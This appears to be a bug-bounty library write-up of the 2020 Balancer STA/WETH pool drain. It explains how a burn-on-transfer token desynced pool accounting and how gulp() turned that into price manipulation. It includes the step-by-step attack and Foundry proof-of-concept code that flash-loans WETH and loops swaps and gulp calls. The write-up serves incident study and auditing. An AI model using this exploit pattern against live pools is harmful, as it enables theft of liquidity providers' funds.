# Balancer: deflationary STA token pool balance manipulation drain

Deflationary STA token broke Balancer pool balance accounting; attacker flash-loaned WETH, manipulated STA price via gulp, and drained value.

- Payout: Real-world hack
- Severity: high
- Program: Balancer Protocol
- Analysis by: DeFiHackLabs
- Disclosed: 2020-06-28
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2020-06/Balancer_20200628_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20200628-balancer-20200628
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity technique:chained vuln:accounting-error vuln:flash-loan vuln:oracle-manipulation

**Target:** Balancer BPool AMM contract with STA/WETH pool
**Root cause:** Balancer's swap logic did not verify actual tokens received, so a deflationary token (STA) that burns on transfer caused the pool's recorded balance to diverge from reality, enabling price manipulation via gulp().
**Steps:**
1. Flash-borrow all WETH from dYdX SoloMargin via `operate` with Withdraw/Call/Deposit actions.
2. Call `bpool.gulp(weth)` then `swapExactAmountIn(weth, MaxinRatio-1e18, sta, ...)` to push STA pool balance toward 1.
3. Repeatedly swap WETH->STA and STA->WETH in escalating ratios to skew price.
4. Use `swapExactAmountOut(weth, 99_999_999_999e18, sta, balanceOf(bpool)-1, ...)` to drain STA, then `gulp(sta)`.
5. Loop 20x: `swapExactAmountIn(sta, 1, weth, ...)` followed by `gulp(sta)` to extract WETH at inflated STA price.
6. Repay dYdX flash loan and keep profit.
**How found:** Recognized that deflationary tokens (STA burns on transfer) are incompatible with Balancer's balance accounting, since the pool trusts its internal recorded balance rather than actual token balance; gulp() lets an attacker resync that balance to weaponize the discrepancy.
**Exploitation:** Attacker flash-loaned WETH from dYdX, manipulated the STA/WETH Balancer pool by driving STA balance to 1 and repeatedly calling gulp() to overwrite recorded balances, then swapped 1 STA for WETH repeatedly at the inflated price, repaying the loan and exiting with profit.
**Insight:** When auditing AMMs, check whether swap paths verify actual received amounts vs. internal bookkeeping; any token with transfer fees/burns/rebase can desync pool balances, and a public gulp()/sync() function turns that desync into a price-manipulation primitive.

## Proof of concept (copied exactly from the original report)

**Foundry exploit test for Balancer STA drain**

```
function testExploit() public {
        // approve
        IERC20(weth).approve(dydx, type(uint256).max);
        IERC20(weth).approve(address(bpool), type(uint256).max);
        IERC20(sta).approve(address(bpool), type(uint256).max);
        IERC20(sta).approve(pancakeV2Router, type(uint256).max);

        emit log_named_decimal_uint(
            "[Before Attack] Attacker WETH Balance : ", (IERC20(weth).balanceOf(address(this))), 18
        );
        emit log_named_decimal_uint(
            "[Before Attack] Attacker STA Balance : ", (IERC20(sta).balanceOf(address(this))), 18
        );

        // attack
        attack();

        // check profit
        emit log_named_decimal_uint(
            "[After Attack] Attacker WETH Balance : ", (IERC20(weth).balanceOf(address(this))), 18
        );
        emit log_named_decimal_uint(
            "[After Attack] Attacker STA Balance : ", (IERC20(sta).balanceOf(address(this))), 18
        );
    }
```

**Flash loan and swap/gulp manipulation loop**

```
function callFunction(
        address, // sender
        AccountInfo memory, // accountInfo
        bytes memory // data
    ) external {
        // swap weth to sta
        bpool.gulp(weth);
        uint256 MaxinRatio = bmul(bpool.getBalance(weth), MAX_IN_RATIO);
        bpool.swapExactAmountIn(weth, MaxinRatio - 1e18, sta, 0, 9999 * 1e18);
        bpool.swapExactAmountIn(sta, IERC20(sta).balanceOf(address(this)), weth, 0, 9999 * 1e18);
        MaxinRatio = bmul(bpool.getBalance(weth), MAX_IN_RATIO);
        bpool.swapExactAmountIn(weth, (MaxinRatio * 50) / 100, sta, 0, 9999 * 1e18);
        bpool.swapExactAmountIn(sta, IERC20(sta).balanceOf(address(this)), weth, 0, 9999 * 1e18);
        MaxinRatio = bmul(bpool.getBalance(weth), MAX_IN_RATIO);
        bpool.swapExactAmountIn(weth, (MaxinRatio * 25) / 100, sta, 0, 9999 * 1e18);
        bpool.swapExactAmountIn(sta, IERC20(sta).balanceOf(address(this)), weth, 0, 9999 * 1e18);

        for (uint256 i = 0; i < 16; i++) {
            MaxinRatio = bmul(bpool.getBalance(weth), MAX_IN_RATIO);
            if ((i + 1) < 9) {
                bpool.swapExactAmountIn(weth, (MaxinRatio * (i + 1) * 10) / 100, sta, 0, 9999 * 1e18);
            } else {
                bpool.swapExactAmountIn(weth, (MaxinRatio * 95) / 100, sta, 0, 9999 * 1e18);
            }
        }

        require(IERC20(sta).balanceOf(address(this)) > 0, "swap weth to sta failed");

        bpool.swapExactAmountOut(
            weth, 99_999_999_999 * 1e18, sta, IERC20(sta).balanceOf(address(bpool)) - 1, 99_999 * 1e18
        );
        bpool.gulp(sta);

        // swap sta to weth
        for (uint256 j = 0; j < 20; j++) {
            MaxinRatio = bmul(bpool.getBalance(sta), MAX_IN_RATIO);
            bpool.swapExactAmountIn(sta, 1, weth, 0, 9999 * 1e18);
            bpool.gulp(sta);
        }
    }
```

